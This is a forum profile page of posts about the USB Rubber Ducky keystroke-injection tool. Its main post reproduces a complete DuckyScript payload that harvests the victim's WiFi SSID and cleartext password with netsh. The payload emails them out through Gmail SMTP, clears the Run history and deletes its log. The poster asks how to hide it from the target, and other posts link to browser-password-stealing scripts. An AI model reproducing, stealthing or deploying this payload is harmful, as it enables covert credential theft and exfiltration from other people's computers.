-
Posts
6 -
Joined
-
Last visited
Posts posted by !dxTHaK
-
-
The below code was pulled from the DuckToolkit. It works just fine however it isnt hidden. I wanted to know what I could add to this so no windows open on the computer I ducky to.
REM Version: 4
REM Description: Saves the SSID, Network type, Authentication and the password to Log.txt and emails the contents of Log.txt from a gmail account.
DELAY 3000REM --> Minimize all windows
GUI d
DELAY 1000
REM --> Open cmd
GUI r
DELAY 1000
STRING cmd
ENTER
DELAY 1000REM --> Getting SSID
STRING cd "%USERPROFILE%\Desktop" & for /f "tokens=2 delims=: " %A in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "BSSID"') do set A=%A
ENTERREM --> Creating A.txt
STRING netsh wlan show profiles %A% key=clear | findstr /c:"Network type" /c:"Authentication" /c:"Key Content" | findstr /v "broadcast" | findstr /v "Radio">>A.txt
ENTERREM --> Get network type
STRING for /f "tokens=3 delims=: " %A in ('findstr "Network type" A.txt') do set B=%A
ENTERREM --> Get authentication
STRING for /f "tokens=2 delims=: " %A in ('findstr "Authentication" A.txt') do set C=%A
ENTERREM --> Get password
STRING for /f "tokens=3 delims=: " %A in ('findstr "Key Content" A.txt') do set D=%A
ENTERREM --> Delete A.txt
STRING del A.txt
ENTERREM --> Create Log.txt
STRING echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt
ENTERREM --> Mail Log.txt
STRING powershell
ENTER
STRING REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f
ENTER
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('youremail@email.com', 'YourPassword')
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'youremail@email.com'
ENTER
STRING $ReportEmail.To.Add('anotheremail@email.com')
ENTER
STRING $ReportEmail.Subject = 'WiFi Password'
ENTER
STRING $ReportEmail.Body = (Get-Content Log.txt | out-string)
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
STRING exit
ENTER
DELAY 1000REM --> Delete Log.txt and exit
STRING del Log.txt & exit
ENTER- 1
-
I just got started tinkering with my Duck as well. Signed up for the forum and stumbled across this post. Gonna have to give this a try, as every option I was doing was not working.
-
-
found this one https://ducktoolkit.com/viewscript/584b7dd8ac04af734c1f68b7/
There are a few others
get passwords from chrome, IE, FF, Edge
in Classic USB Rubber Ducky
Posted
@zekimI tried the one in the link I shared and it has some wonky text.. handle with care!!